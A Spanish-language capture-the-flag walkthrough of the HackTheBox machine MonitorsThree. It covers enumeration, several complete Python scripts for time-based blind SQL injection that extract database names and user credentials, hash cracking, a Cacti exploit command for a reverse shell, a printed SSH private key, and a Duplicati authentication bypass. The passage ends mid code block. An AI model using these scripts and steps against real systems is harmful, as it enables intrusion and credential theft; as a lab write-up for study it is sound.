> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/linux-medium/monitorsthree-hackthebox-writeup.md).

# Resolución de HackTheBox MonitorsThree

{% embed url="<https://app.hackthebox.com/machines/622>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeración de subdominios
* SQLI - Inyección ciega manual basada en tiempo (scripting en Python)
* Crackeo de hashes
* Explotación de Cacti (CVE-2024-25642) - Importación maliciosa de paquete
* Fuga de información
* Explotación de servicio interno - Duplicati
* Abusando de Duplicati - Omitiendo la autenticación de inicio de sesión con la frase de contraseña del servidor
* Duplicati - Creación de una copia de seguridad para lectura y escritura privilegiadas de archivos (escalada de privilegios)
  {% endhint %}

## Reconocimiento <a href="#reconnaissance" id="reconnaissance"></a>

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="/files/21c9ae8f27a60af210b77bf0ddc4130331e3760c" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para asegurar una comunicación estable con la máquina objetivo.

<figure><img src="/files/9980e641ef291284ca10c33e4dfc944554e8ae9d" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

Enumera los puertos abiertos y exporta los resultados al archivo "allPorts" en el directorio de Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.30 -oG allPorts
```

<figure><img src="/files/7f735f721c48ca0555d3b621037d86230197d98f" alt="" width="563"><figcaption></figcaption></figure>

**Análisis de puertos abiertos con extractPorts:**

Usa la función extractPorts para mostrar los puertos abiertos en un formato conciso y copiarlos al portapapeles.

<figure><img src="/files/b4917dd190e94b84d71ff1156605ee52e3326eb9" alt="" width="563"><figcaption></figcaption></figure>

**Escaneo de versiones de puertos con Nmap:**

Usa Nmap para escanear las versiones de los servicios y guardar la salida en el archivo "targeted":

```bash
nmap -sCV -p80,22 10.10.11.30 -oN targeted
```

<figure><img src="/files/e7b95ad84ecf96bf5ff325ff22167ceb4414054c" alt=""><figcaption></figcaption></figure>

Para resolver nombres de dominio a direcciones IP mediante DNS, se inserta el nombre de dominio asociado con su dirección IP en el `/etc/hosts` archivo

<figure><img src="/files/34f2a054aad0c260eebc477532141508b68c3717" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/35f9a038613f24f1beaecfd40262f5724248d091" alt=""><figcaption></figcaption></figure>

### Lista de directorios:

**Solo buscar** directorios

```bash
gobuster dir -u http://monitorsthree.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200
```

<figure><img src="/files/280a53b7e04a328a62b7b6f23134b5e61ea183c7" alt=""><figcaption></figcaption></figure>

/*/* Buscar archivos con extensiones específicas (PHP, HTML, TXT) en el directorio de administración:/*/*

```bash
gobuster dir -u http://monitorsthree.htb/admin/ -w /usr/share/SecLists/Discovery/Web-Content/quickhits.txt -t 50 -b '' -x html,php,txt -s 200
```

Encontramos el `db.php` archivo, pero no contiene ningún dato.

<figure><img src="/files/0fde715fbffbc67c2fe876e244bd3ecf2677c1e9" alt=""><figcaption></figcaption></figure>

## Inyección SQL

#### Detección de vulnerabilidad

Identificamos una vulnerabilidad SQL en la función "Forgot Password". Se utilizó el siguiente payload para confirmar la vulnerabilidad:

```sql
admin' or 1=1-- -
```

<figure><img src="/files/218da518b1acc29b371b546a9acdc328a2999d4b" alt=""><figcaption></figcaption></figure>

#### Confirmación de la vulnerabilidad con ataque basado en tiempo

Para confirmar la vulnerabilidad, utilizamos un ataque SQL basado en tiempo:

```sql
admin' and sleep(5)-- -
```

La respuesta tardó 5 segundos, confirmando así la vulnerabilidad.

<figure><img src="/files/b278b7f96203e1b15e352c6ef5826f8814ffb443" alt=""><figcaption></figcaption></figure>

## **Inyección SQL - Basada en tiempo**

#### Automatizar la explotación con un script de Python

Desarrollamos un script de Python para automatizar la extracción de datos mediante inyección SQL. El script extrajo el nombre de la base de datos, los nombres de las tablas, las columnas y, finalmente, datos sensibles como nombres de usuario y contraseñas.

### Base de datos:

**Ejemplo de script para extraer el nombre de la base de datos:**

```bash
python3 exploit.py --url http://monitorsthree.htb/forgot_password.php --delay 1
```

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Configuración de logs
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Saliendo.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def sqli(target_url, delay=1):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info("Iniciando ataque de inyección SQL...")
    
    for position in range(1, 100):
        character_found = False  # Indicador para comprobar si se encontró un carácter
        
        for character in characters:
            payload = {
                'username': f"admin' AND IF(SUBSTR(database(),{position},1)='{character}',SLEEP({delay}),1)-- -",
                'password': 'admin'
            }
            
            logger.debug(f"Probando: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"La solicitud falló: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Datos extraídos hasta ahora: {extracted_data}")
                character_found = True  # Se encontró un carácter
                break
        
        # Si no se encontró ningún carácter para esta posición, detén el bucle
        if not character_found:
            logger.info(f"No se encontró ningún carácter en la posición {position}. Terminando la extracción.")
            break
    
    logger.info("¡Inyección SQL completada!")
    logger.info(f"Datos finales extraídos: {extracted_data}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Realizar un ataque de inyección SQL basado en tiempo.")
    parser.add_argument("--url", required=True, help="URL de destino para la inyección SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Tiempo de retardo para la inyección SQL")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **Nombre de la base de datos**: `monitorsthree_db`

<figure><img src="/files/527ce1e138ee528f3c37bf2372312a380f89c213" alt=""><figcaption></figcaption></figure>

### **Bases de datos:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Configuración de logs
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Saliendo.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + "_;:,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Extrayendo el nombre de la base de datos en el desplazamiento {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Indicador para comprobar si se encontró un carácter
        
        for character in characters:
            # Formatear la solicitud SQL con todas las variables requeridas
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Probando: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"La solicitud falló: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Datos extraídos hasta ahora: {extracted_data}")
                character_found = True  # Se encontró un carácter
                break
        
        # Si no se encontró ningún carácter para esta posición, detén el bucle
        if not character_found:
            logger.info(f"No se encontró ningún carácter en la posición {position}. Terminando la extracción.")
            break
    
    return extracted_data

def sqli(target_url, delay=1):
    # Solicitud para extraer nombres de bases de datos
    query_template = (
        "admin' AND IF(SUBSTR((SELECT schema_name FROM information_schema.schemata LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    databases = []
    offset = 0
    
    while True:
        database_name = extract_data(target_url, delay, query_template, offset)
        
        if not database_name:
            logger.info("No se encontraron más bases de datos.")
            break
        
        databases.append(database_name)
        logger.info(f"Base de datos encontrada: {database_name}")
        offset += 1
    
    logger.info("¡Inyección SQL completada!")
    logger.info(f"Lista de bases de datos: {databases}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Realizar un ataque de inyección SQL basado en tiempo.")
    parser.add_argument("--url", required=True, help="URL de destino para la inyección SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Tiempo de retardo para la inyección SQL")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

#### **information/\_schema, monitorthree/\_db**

<figure><img src="/files/35bf90c09a11e0e7a5eeb11fa95af9d8d9aa1734" alt=""><figcaption></figcaption></figure>

### **Tablas:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Configuración de logs
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Saliendo.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Extrayendo el nombre de la tabla en el desplazamiento {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Indicador para comprobar si se encontró un carácter
        
        for character in characters:
            # Formatear la solicitud SQL con todas las variables requeridas
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Probando: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"La solicitud falló: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Datos extraídos hasta ahora: {extracted_data}")
                character_found = True  # Se encontró un carácter
                break
        
        # Si no se encontró ningún carácter para esta posición, detén el bucle
        if not character_found:
            logger.info(f"No se encontró ningún carácter en la posición {position}. Terminando la extracción.")
            break
    
    return extracted_data

def sqli(target_url, delay=0.85):
    # Solicitud para extraer nombres de tablas de la base de datos `monitorsthree_db`
    query_template = (
        "admin' AND IF(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema='monitorsthree_db' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    tables = []
    offset = 0
    
    while True:
        table_name = extract_data(target_url, delay, query_template, offset)
        
        if not table_name:
            logger.info("No se encontraron más tablas.")
            break
        
        tables.append(table_name)
        logger.info(f"Tabla encontrada: {table_name}")
        offset += 1
    
    logger.info("¡Inyección SQL completada!")
    logger.info(f"Lista de tablas en monitorsthree_db: {tables}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Realizar un ataque de inyección SQL basado en tiempo.")
    parser.add_argument("--url", required=True, help="URL de destino para la inyección SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Tiempo de retardo para la inyección SQL")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **Tablas** : `invoices`, `customers`, `changelog`, `tareas`, `invoice_tasks`, `users`

<figure><img src="/files/a673c4692a4fab0eadd0d706980d3d823131d7bd" alt=""><figcaption></figcaption></figure>

### **Columnas:**

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Configuración de logs
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Saliendo.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Extrayendo el nombre de la columna en el desplazamiento {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Indicador para comprobar si se encontró un carácter
        
        for character in characters:
            # Formatear la solicitud SQL con todas las variables requeridas
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Probando: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"La solicitud falló: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Datos extraídos hasta ahora: {extracted_data}")
                character_found = True  # Se encontró un carácter
                break
        
        # Si no se encontró ningún carácter para esta posición, detén el bucle
        if not character_found:
            logger.info(f"No se encontró ningún carácter en la posición {position}. Terminando la extracción.")
            break
    
    return extracted_data

def sqli(target_url, delay=0.85):
    # Solicitud para extraer nombres de columnas de la tabla `users`
    query_template = (
        "admin' AND IF(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_schema='monitorsthree_db' AND table_name='users' LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    columns = []
    offset = 0
    
    while True:
        column_name = extract_data(target_url, delay, query_template, offset)
        
        if not column_name:
            logger.info("No se encontraron más columnas.")
            break
        
        columns.append(column_name)
        logger.info(f"Columna encontrada: {column_name}")
        offset += 1
    
    logger.info("¡Inyección SQL completada!")
    logger.info(f"Lista de columnas en la tabla 'users': {columns}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Realizar un ataque de inyección SQL basado en tiempo.")
    parser.add_argument("--url", required=True, help="URL de destino para la inyección SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Tiempo de retardo para la inyección SQL")
    
    args = parser.parse_args()
    
    sqli(args.url, args.delay)
```

* **Columnas en la `users` tabla**: `id`, `username`, `correo electrónico`, `contraseña`, `nombre`, `posición`, `dob`, `start_date`, `salary`

<figure><img src="/files/f7bd934551a97b68219135c6ed12e3652b37520a" alt=""><figcaption></figcaption></figure>

### **Datos extraídos**:

```python
import sys
import signal
import time
import string
import requests
import argparse
import logging

# Configuración de logs
logging.basicConfig(level=logging.INFO, format="%(asctime)s %(levelname)s %(message)s")
logger = logging.getLogger(__name__)

def def_handler(sig, frame):
    logger.info("/n/n[!] Saliendo.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

def extract_data(target_url, delay, query_template, offset):
    characters = string.ascii_lowercase + string.digits + ":,_-."
    headers = {
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    
    extracted_data = ""
    logger.info(f"Extrayendo datos en el desplazamiento {offset}...")
    
    for position in range(1, 100):
        character_found = False  # Indicador para comprobar si se encontró un carácter
        
        for character in characters:
            # Formatear la solicitud SQL con todas las variables requeridas
            payload = {
                'username': query_template.format(offset=offset, position=position, character=character, delay=delay),
                'password': 'admin'
            }
            
            logger.debug(f"Probando: {payload['username']}")
            start_time = time.time()
            
            try:
                response = requests.post(target_url, data=payload, headers=headers, timeout=10)
            except requests.RequestException as e:
                logger.error(f"La solicitud falló: {e}")
                continue
            
            elapsed_time = time.time() - start_time
            
            if elapsed_time >= delay:
                extracted_data += character
                logger.info(f"Datos extraídos hasta ahora: {extracted_data}")
                character_found = True  # Se encontró un carácter
                break
        
        # Si no se encontró ningún carácter para esta posición, detén el bucle
        if not character_found:
            logger.info(f"No se encontró ningún carácter en la posición {position}. Terminando la extracción.")
            break
    
    return extracted_data

def extract_credentials(target_url, delay=0.85):
    # Solicitud para extraer nombres de usuario
    username_query_template = (
        "admin' AND IF(SUBSTR((SELECT username FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    # Solicitud para extraer contraseñas
    password_query_template = (
        "admin' AND IF(SUBSTR((SELECT password FROM users LIMIT 1 OFFSET {offset}),{position},1)='{character}',SLEEP({delay}),1)-- -"
    )
    
    credentials = []
    offset = 0
    
    while True:
        username = extract_data(target_url, delay, username_query_template, offset)
        password = extract_data(target_url, delay, password_query_template, offset)
        
        if not username or not password:
            logger.info("No se encontraron más credenciales.")
            break
        
        credentials.append((username, password))
        logger.info(f"Credenciales encontradas: {username}:{password}")
        offset += 1
    
    logger.info("¡Inyección SQL completada!")
    logger.info(f"Lista de credenciales: {credentials}")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Realizar un ataque de inyección SQL basado en tiempo para extraer credenciales.")
    parser.add_argument("--url", required=True, help="URL de destino para la inyección SQL")
    parser.add_argument("--delay", type=float, default=0.85, help="Tiempo de retardo para la inyección SQL")
    
    args = parser.parse_args()
    
    extract_credentials(args.url, args.delay)
```

<figure><img src="/files/857d8119d962b7a28b98a0bb4db35d31b0da686d" alt=""><figcaption></figcaption></figure>

* `admin:31a181c8372e3afc59dab863430610e8`
* `mwatson:c585d01f2eb3e6e1073e92023088a3dd`
* `janderson:1e68b6eb86b45f6d92f8f292428f77ac`
* `dthompson:633b683cc128fe244b00f176c8a950f5`

## Crackeo de contraseñas

{% embed url="<https://crackstation.net/>" %}

Usamos **CrackStation** para crackear las contraseñas con hash. Se obtuvieron las siguientes credenciales:

<figure><img src="/files/08f316344fae563888eff26c97e88d5614f3ac94" alt=""><figcaption></figcaption></figure>

**Identificadores:**

* Usuario: `admin`
* Contraseña: `greencacti2001`

<figure><img src="/files/c9c5dc9c1ab1dfc72e5b38e3e970476fc1c1986c" alt=""><figcaption></figcaption></figure>

### /*/* Lista de subdominios\:/*/*

Usando el comando Gobuster para enumerar subdominios:

```bash
gobuster vhost -u http://monitorsthree.htb --append-domain -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
```

Encontramos el `cacti.monitorsthree.htb` subdominio.

<figure><img src="/files/c76bc92d61e59e54eb4dcd292756dddb053217a6" alt=""><figcaption></figcaption></figure>

Añadimos esta entrada en `/etc/hosts`.

<figure><img src="/files/10e6410e3e96aa81c26746806dd6529432b87887" alt=""><figcaption></figcaption></figure>

**Acceso al panel de conexión de Cacti:**

El panel de conexión de Cacti, versión 1.2.26, está disponible en este subdominio. Con `admin:greencacti2001` credenciales, conseguimos conectarnos.

<figure><img src="/files/ee8f098a6b0b161fd0b302f4a0d27a3591bc8a40" alt=""><figcaption></figcaption></figure>

## Explotación de la vulnerabilidad RCE de Cacti <a href="#cacti-rce-vulnerability-exploitation" id="cacti-rce-vulnerability-exploitation"></a>

{% embed url="<https://github.com/5ma1l/CVE-2024-25641>" %}

Para explotar la vulnerabilidad NCE de Cacti, modificaremos un archivo PHP y ejecutaremos un script de explotación:

<figure><img src="/files/6487e14f4342ed5766ae48cb7c2bfed75524f8bc" alt=""><figcaption></figcaption></figure>

Este script crea un archivo comprimido que contiene un payload PHP que se inyectará en el servidor objetivo, permitiéndonos obtener una shell inversa.

{% code overflow="wrap" fullWidth="false" %}

```bash
python3 exploit.py http://cacti.monitorsthree.htb/cacti/ admin greencacti2001 -p php/monkey.php
```

{% endcode %}

<div data-full-width="true"><figure><img src="/files/36911a85f57a52189e512afec0c83ed6cc0fae00" alt=""><figcaption></figcaption></figure></div>

## **Escalada de privilegios :**

Al explorar el `/var/www/html` directorio web, encontramos archivos de base de datos en la `cacti` carpeta, incluyendo el `config.php` archivo de configuración ubicado en `/var/www/html/cacti/include/config.php`.

Fragmentos de `config.php`:

```php
$database_username = 'cactiuser';
$database_password = 'cactiuser';
$database_port = '3306';
```

<figure><img src="/files/c29c1c00329abd9bdf7a109df3f6e27412ba0919" alt=""><figcaption></figcaption></figure>

Luego enumeramos los usuarios en la `user_auth` tabla de la `cacti` base de datos:

<figure><img src="/files/a6bb77db464b6ed6e82a7e809038819b4a130c45" alt=""><figcaption></figcaption></figure>

```sql
Select * from user_auth
```

<div data-full-width="true"><figure><img src="/files/a959dd2bb3ae6b7c18f1d8e0b21b496e88016fc4" alt=""><figcaption></figcaption></figure></div>

Usamos `john` para crackear las contraseñas recuperadas:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

Esto revela el `marcus` contraseña del usuario: `12345678910`.

<figure><img src="/files/272d042b538f631fc59db3f4cd1f1100c5fd70dd" alt=""><figcaption></figcaption></figure>

### Bandera user.txt :)

<figure><img src="/files/ad1e373a9048bdfa99bd161aa86d13003e1347da" alt=""><figcaption></figcaption></figure>

Después de este paso, también obtenemos la `marcus` clave SSH del usuario:

<figure><img src="/files/111723ae3bc5260e3227a4898c6428b1c796cf88" alt=""><figcaption></figcaption></figure>

```
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
```

Primero observaremos los puertos abiertos internamente con el siguiente comando:

```bash
netstat -nltp
```

<figure><img src="/files/3e21f4b55721322f730b5ee74fccd2bf2436e167" alt="" width="563"><figcaption></figcaption></figure>

Redirigiremos el puerto interno **8200** del servidor a nuestra máquina local para acceder a él mediante nuestro navegador. Esta redirección se puede hacer vía SSH con el siguiente comando:

```bash
ssh -i id_rsa -L 8200:127.0.0.1:8200 marcus@10.10.11.30 -N
```

## Explotación de Duplicati:

### Omisión de autenticación de inicio de sesión de Duplicati

{% embed url="<https://github.com/duplicati/duplicati/issues/5197>" %}

Durante el análisis de la máquina objetivo, se descubrió un **Duplicati** portal web. Este portal tenía un panel de autenticación que solicitaba una contraseña.

<figure><img src="/files/f5bb96cb454aa74476fed9bd30b6ea70867fba2c" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
Duplicati es un cliente de copias de seguridad que almacena de forma segura copias de seguridad remotas cifradas, incrementales y comprimidas de archivos locales en servicios de almacenamiento en la nube y servidores de archivos
{% endhint %}

Al explorar el sistema, se localizó el directorio de configuración de Duplicati en `/opt/duplicati`. Se identificó un archivo SQLite llamado `Duplicati-server.sqlite` se ha identificado como potencialmente contenedor de información sensible.

<figure><img src="/files/ca4894bf2d8135c17bf97793e322863f1ad37330" alt=""><figcaption></figcaption></figure>

#### Descargar archivo SQLite

Para analizar este archivo, se descargó a nuestra máquina local usando un servidor HTTP de Python:

```bash
python3 -m http.server 4444
```

```bash
wget http://10.10.11.30:4444/Duplicati-server.sqlite
```

<figure><img src="/files/d515b1e702172825de8fb2bff792c10c1165f539" alt=""><figcaption></figcaption></figure>

#### Análisis del archivo SQLite

El archivo se abrió con la `sqlite3` herramienta para revisar su contenido:

```bash
sqlite3 Duplicati-server.sqlite
```

Se listaron las tablas, y la `opción` tabla fue seleccionada para la extracción de datos:

```sql
.tables
select * from option;
```

<figure><img src="/files/d831b5e2966c8e702bb347663c3fed3862e30f71" alt=""><figcaption></figcaption></figure>

| Clave                             | Valor                                          |
| --------------------------------- | ---------------------------------------------- |
| `server-passphrase`               | `Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=` |
| `server-passphrase-salt`          | `xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I=` |
| `server-passphrase-trayicon`      | `ce13157b-a06e-4b60-811d-60d294e8d0ae`         |
| `server-passphrase-trayicon-hash` | `L6FxIB9fOxk9uueTx270v9+1OQIJFfV7GfyN3pA83WE=` |

#### Conversión de la frase de contraseña

El valor de `server-passphrase` está codificado en Base64. Para decodificarlo y convertirlo al formato hexadecimal, se usa el siguiente comando:

```bash
echo "Wb6e855L3sN9LTaCuwPXuautswTIQbekmMAr7BrK2Ho=" | base64 -d | xxd -p -c 256
```

<figure><img src="/files/25ad4926fd8cf062669f86227e7cbdc14c1a3ac5" alt=""><figcaption></figcaption></figure>

#### Esto produjo el siguiente valor hexadecimal:

```excel-formula
59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a
```

### Cálculo de la contraseña final

Para generar la contraseña final, se realizaron los siguientes pasos en la consola del navegador:

**Definición de frase de contraseña con salt**:

```javascript
var saltedpwd = '59be9ef39e4bdec37d2d3682bb03d7b9abadb304c841b7a498c02bec1acad87a';
```

### Intercepción de la solicitud con Burp Suite

Interceptamos la solicitud y la enviamos a Intercept -> responder a esta solicitud y luego hacemos clic en Forward.

<figure><img src="/files/63d310cc55f9f504e7accfcf8de7d3de6c5fdd3f" alt=""><figcaption></figcaption></figure>

Se interceptó una solicitud HTTP con **Burp Suite** revelando la siguiente información:

<figure><img src="/files/2949396988826b3aa24de2bc8e0eab5990c241c5" alt=""><figcaption></figcaption></figure>

```json
{
  "Status": "OK",
  "Nonce": "ktDnBGnG6jQzWjtajOoaS5Z+8z6z+aI2KA1p7lMTKWk=",
  "Salt": "xTfykWV1dATpFZvPhClEJLJzYA5A4L74hX7FK8XmY0I="
}
```

El campo `Salt` corresponde al valor `server-passphrase-salt` extraído de la base de datos

**Cálculo de la contraseña nonce:**

{% code overflow="wrap" %}

```javascript
